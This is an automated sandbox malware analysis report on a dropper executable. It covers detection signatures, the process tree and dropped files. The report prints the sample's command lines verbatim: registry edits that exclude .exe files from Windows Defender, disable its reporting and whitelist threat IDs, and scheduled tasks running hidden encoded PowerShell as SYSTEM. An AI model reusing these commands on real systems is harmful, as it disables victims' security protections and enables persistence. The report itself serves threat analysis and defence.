Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	776315
MD5:	4a0ace7e59a840307eafe3c5975a7638
SHA1:	5677a49aa5125af2bf2ce60dc9f304a106b462c1
SHA256:	d6c028269bdbe895a6215ed9ba31b1e1fb674d1fb1edb713c133402c0c55fabf
Tags:	exe
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: Schedule system process

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Uses cmd line tools excessively to alter registry or file data

Encrypted powershell cmdline option found

Very long command line found

Suspicious powershell command line found

Modifies Group Policy settings

Uses schtasks.exe or at.exe to add and modify task schedules

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

PE file contains sections with non-standard names

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Too many similar processes found

Creates job files (autostart)

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Contains capabilities to detect virtual machines

Uses reg.exe to modify the Windows registry

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

file.exe (PID: 5188 cmdline: C:\Users\user\Desktop\file.exe MD5: 4A0ACE7E59A840307EAFE3C5975A7638)

Install.exe (PID: 3376 cmdline: .\Install.exe MD5: ACF9F750C53A4655AF0F2C792DC05166)

Install.exe (PID: 2772 cmdline: .\Install.exe /S /site_id "525403" MD5: C58B38377096B7C07958599E0E0C361A)

forfiles.exe (PID: 3536 cmdline: C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64& MD5: 4329CB18F8F74CC8DDE2C858BB80E5D8)

conhost.exe (PID: 3508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 2532 cmdline: /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64& MD5: F3BDBE3BB6F734E357235F4D5898582D)

reg.exe (PID: 4904 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 4136 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)

forfiles.exe (PID: 1128 cmdline: C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64& MD5: 4329CB18F8F74CC8DDE2C858BB80E5D8)

conhost.exe (PID: 5968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5008 cmdline: /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64& MD5: F3BDBE3BB6F734E357235F4D5898582D)

reg.exe (PID: 6076 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 5128 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)

schtasks.exe (PID: 6052 cmdline: schtasks /CREATE /TN "goSRLihgj" /SC once /ST 00:45:25 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==" MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 2692 cmdline: schtasks /run /I /tn "goSRLihgj" MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 2108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 3216 cmdline: schtasks /DELETE /F /TN "goSRLihgj" MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 2160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 3004 cmdline: schtasks /CREATE /TN "bbrwVHWbINAVAbZleQ" /SC once /ST 16:12:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe\" UB /site_id 525403 /S" /V1 /F MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 6076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 4040 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA== MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

gpupdate.exe (PID: 5444 cmdline: "C:\Windows\system32\gpupdate.exe" /force MD5: 47C68FE26B0188CDD80F744F7405FF26)

conhost.exe (PID: 1272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

KZDOWch.exe (PID: 6068 cmdline: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe UB /site_id 525403 /S MD5: C58B38377096B7C07958599E0E0C361A)

powershell.exe (PID: 1328 cmdline: powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;" MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 3112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

gpscript.exe (PID: 4924 cmdline: gpscript.exe /RefreshSystemParam MD5: C48CBDC676E442BAF58920C5B7E556DE)

cmd.exe (PID: 1252 cmdline: "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32 MD5: F3BDBE3BB6F734E357235F4D5898582D)

reg.exe (PID: 4852 cmdline: REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 496 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 5884 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 2904 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 2108 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 4924 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 4188 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 4696 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 3700 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 5136 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 6048 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 5064 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 2220 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 4848 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 3620 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 572 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 5060 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 5480 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 5584 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 5636 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64 MD5: CEE2A7E57DF2A159A065A34913A055C2)

reg.exe (PID: 5660 cmdline: "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32 MD5: CEE2A7E57DF2A159A065A34913A055C2)

cleanup

Sigma Signatures

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: schtasks /CREATE /TN "goSRLihgj" /SC once /ST 00:45:25 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==", CommandLine: schtasks /CREATE /TN "goSRLihgj" /SC once /ST 00:45:25 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==", CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: .\Install.exe /S /site_id "525403", ParentImage: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe, ParentProcessId: 2772, ParentProcessName: Install.exe, ProcessCommandLine: schtasks /CREATE /TN "goSRLihgj" /SC once /ST 00:45:25 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==", ProcessId: 6052, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Avira: detection malicious, Label: HEUR/AGEN.1250601
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Avira: detection malicious, Label: HEUR/AGEN.1250601
Source: C:\Windows\Temp\CTQYLaFGBwgBLVnC\XOWTqVpevqJTLBZ\YLNoErO.exe	Avira: detection malicious, Label: HEUR/AGEN.1250601

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	ReversingLabs: Detection: 65%
Source: C:\Windows\Temp\CTQYLaFGBwgBLVnC\XOWTqVpevqJTLBZ\YLNoErO.exe	ReversingLabs: Detection: 65%

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040553A FindFirstFileA,		0_2_0040553A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004055DE __EH_prolog,FindFirstFileW,AreFileApisANSI,FindFirstFileA,		0_2_004055DE

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\__data__\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\	Jump to behavior

Source: powershell.exe, 00000011.00000002.421328479.000002036A385000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000011.00000002.363453678.0000020350765000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000011.00000002.418333366.0000020362523000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.416535432.00000203623EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000011.00000002.370748414.0000020352583000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000011.00000002.364982026.0000020352381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.431937446.0000000003E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000011.00000002.370748414.0000020352583000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000011.00000002.416535432.00000203623EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.416535432.00000203623EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.416535432.00000203623EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000011.00000002.370748414.0000020352583000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000011.00000002.418333366.0000020362523000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.416535432.00000203623EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: file.exe, 00000000.00000002.491588777.00000000006B8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: reg.exe

Process created: 49

System Summary

Very long command line found

Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: Commandline size = 3260
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: Commandline size = 3260			Jump to behavior

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe

File deleted: C:\Windows\SysWOW64\GroupPolicyMgeaN

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe

File created: C:\Windows\system32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004162A6	0_2_004162A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E5A5	0_2_0040E5A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004126B0	0_2_004126B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00403A01	0_2_00403A01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418EF1	0_2_00418EF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418FCB	0_2_00418FCB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_03C1E2A0	24_2_03C1E2A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_03C1C7A0	24_2_03C1C7A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_06F18760	24_2_06F18760
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_06F1001D	24_2_06F1001D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_06F18760	24_2_06F18760
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 24_2_06F10040	24_2_06F10040

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00403A9C appears 33 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00413954 appears 179 times

Source: file.exe, 00000000.00000000.297408381.0000000000427000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs file.exe
Source: file.exe	Binary or memory string: OriginalFilename7zS.sfx.exe, vs file.exe

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe F78888154E211E2398FDD45D36D381E411B413EF5314D8D44D59A55C40EF23BD
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe F78888154E211E2398FDD45D36D381E411B413EF5314D8D44D59A55C40EF23BD

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe .\Install.exe
Source: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe .\Install.exe /S /site_id "525403"
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
